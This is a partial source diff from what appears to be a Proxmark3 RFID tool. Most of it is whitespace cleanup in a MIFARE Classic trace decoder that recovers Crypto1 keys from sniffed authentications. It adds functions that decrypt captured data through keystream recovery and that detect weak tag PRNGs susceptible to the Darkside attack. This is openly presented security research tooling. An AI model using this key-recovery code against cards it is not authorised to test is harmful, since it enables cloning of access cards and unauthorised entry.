@@ -545,7 +798,7 @@ int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
                }\r
        break;\r
 \r
-       case TRACE_AUTH1: \r
+       case TRACE_AUTH1:\r
                if (len == 4) {\r
                        traceState = TRACE_AUTH2;\r
                        nt = bytes_to_num(data, 4);\r
@@ -556,7 +809,7 @@ int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
                }\r
        break;\r
 \r
-       case TRACE_AUTH2: \r
+       case TRACE_AUTH2:\r
                if (len == 8) {\r
                        traceState = TRACE_AUTH_OK;\r
 \r
@@ -569,12 +822,12 @@ int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
                }\r
        break;\r
 \r
-       case TRACE_AUTH_OK: \r
+       case TRACE_AUTH_OK:\r
                if (len ==4) {\r
                        traceState = TRACE_IDLE;\r
 \r
                        at_enc = bytes_to_num(data, 4);\r
-                       \r
+\r
                        //  decode key here)\r
                        ks2 = ar_enc ^ prng_successor(nt, 64);\r
                        ks3 = at_enc ^ prng_successor(nt, 96);\r
@@ -586,11 +839,11 @@ int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
 \r
                        crypto1_get_lfsr(revstate, &lfsr);\r
                        printf("key> %x%x\n", (unsigned int)((lfsr & 0xFFFFFFFF00000000) >> 32), (unsigned int)(lfsr & 0xFFFFFFFF));\r
-                       AddLogUint64(logHexFileName, "key> ", lfsr); \r
-                       \r
+                       AddLogUint64(logHexFileName, "key> ", lfsr);\r
+\r
                        int blockShift = ((traceCurBlock & 0xFC) + 3) * 16;\r
                        if (isBlockEmpty((traceCurBlock & 0xFC) + 3)) memcpy(traceCard + blockShift + 6, trailerAccessBytes, 4);\r
-                       \r
+\r
                        if (traceCurKey) {\r
                                num_to_bytes(lfsr, 6, traceCard + blockShift + 10);\r
                        } else {\r
@@ -601,10 +854,10 @@ int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
                        if (traceCrypto1) {\r
                                crypto1_destroy(traceCrypto1);\r
                        }\r
-                       \r
+\r
                        // set cryptosystem state\r
                        traceCrypto1 = lfsr_recovery64(ks2, ks3);\r
-                       \r
+\r
 //     nt = crypto1_word(traceCrypto1, nt ^ uid, 1) ^ nt;\r
 \r
        /*      traceCrypto1 = crypto1_create(lfsr); // key in lfsr\r
@@ -612,7 +865,7 @@ int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
                crypto1_word(traceCrypto1, ar, 1);\r
                crypto1_word(traceCrypto1, 0, 0);\r
                crypto1_word(traceCrypto1, 0, 0);*/\r
-       \r
+\r
                        return 0;\r
                } else {\r
                        traceState = TRACE_ERROR;\r
@@ -620,10 +873,102 @@ int mfTraceDecode(uint8_t *data_src, int len, bool wantSaveToEmlFile) {
                }\r
        break;\r
 \r
-       default: \r
+       default:\r
                traceState = TRACE_ERROR;\r
                return 1;\r
        }\r
 \r
        return 0;\r
 }\r
+\r
+// DECODING\r
+\r
+int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len){\r
+       /*\r
+       uint32_t nt;      // tag challenge\r
+       uint32_t ar_enc;  // encrypted reader response\r
+       uint32_t at_enc;  // encrypted tag response\r
+       */\r
+       if (traceCrypto1) {\r
+               crypto1_destroy(traceCrypto1);\r
+       }\r
+       ks2 = ar_enc ^ prng_successor(nt, 64);\r
+       ks3 = at_enc ^ prng_successor(nt, 96);\r
+       traceCrypto1 = lfsr_recovery64(ks2, ks3);\r
+\r
+       mf_crypto1_decrypt(traceCrypto1, data, len, 0);\r
+\r
+       PrintAndLog("Decrypted data: [%s]", sprint_hex(data,len) );\r
+       crypto1_destroy(traceCrypto1);\r
+       return 0;\r
+}\r
+\r
+/** validate_prng_nonce\r
+ * Determine if nonce is deterministic. ie: Suspectable to Darkside attack.\r
+ * returns\r
+ *   true = weak prng\r
+ *   false = hardend prng\r
+ */\r
+bool validate_prng_nonce(uint32_t nonce) {\r
+       uint16_t *dist = 0;\r
+       uint16_t x, i;\r
+\r
+       dist = malloc(2 << 16);\r
+       if(!dist)\r
+               return -1;\r
+\r
+       // init prng table:\r
+       for (x = i = 1; i; ++i) {\r
+               dist[(x & 0xff) << 8 | x >> 8] = i;\r
+               x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;\r
+       }\r
+       \r
+       uint32_t res = (65535 - dist[nonce >> 16] + dist[nonce & 0xffff]) % 65535;\r
+       \r
+       free(dist);     \r
+       return (res == 16);\r
+}\r
+\r
+/* Detect Tag Prng, \r
+* function performs a partial AUTH,  where it tries to authenticate against block0, key A, but only collects tag nonce.\r
+* the tag nonce is check to see if it has a predictable PRNG.\r
+* @returns \r
+*      TRUE if tag uses WEAK prng (ie Now the NACK bug also needs to be present for Darkside attack)\r
+*   FALSE is tag uses HARDEND prng (ie hardnested attack possible, with known key)\r
+*/\r
+int DetectClassicPrng(void){\r
+\r
+       UsbCommand resp, respA; \r
+       uint8_t cmd[] = {0x60, 0x00}; // MIFARE_AUTH_KEYA\r
+       uint32_t flags = ISO14A_CONNECT | ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_RATS;\r
+       \r
+       UsbCommand c = {CMD_READER_ISO_14443a, {flags, sizeof(cmd), 0}};\r
+       memcpy(c.d.asBytes, cmd, sizeof(cmd));\r
+\r
+       clearCommandBuffer();\r
+       SendCommand(&c);\r
+       if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) {\r
+        PrintAndLog("PRNG UID: Reply timeout.");\r
+               return -1;\r
+       }\r
+       \r
+       // if select tag failed.\r
+       if (resp.arg[0] == 0) {\r
+               PrintAndLog("PRNG error: selecting tag failed, can't detect prng.");\r
+               return -1;\r
+       }\r
+       \r
+       if (!WaitForResponseTimeout(CMD_ACK, &respA, 5000)) {\r
+        PrintAndLog("PRNG data: Reply timeout.");\r
+               return -1;\r
+       }\r
+\r
+       // check respA\r
+       if (respA.arg[0] != 4) {\r
+               PrintAndLog("PRNG data error: Wrong length: %d", respA.arg[0]);\r
+               return -1;\r
+       }\r
+\r
+       uint32_t nonce = bytes_to_num(respA.d.asBytes, respA.arg[0]);\r
+       return validate_prng_nonce(nonce);\r
+}\r
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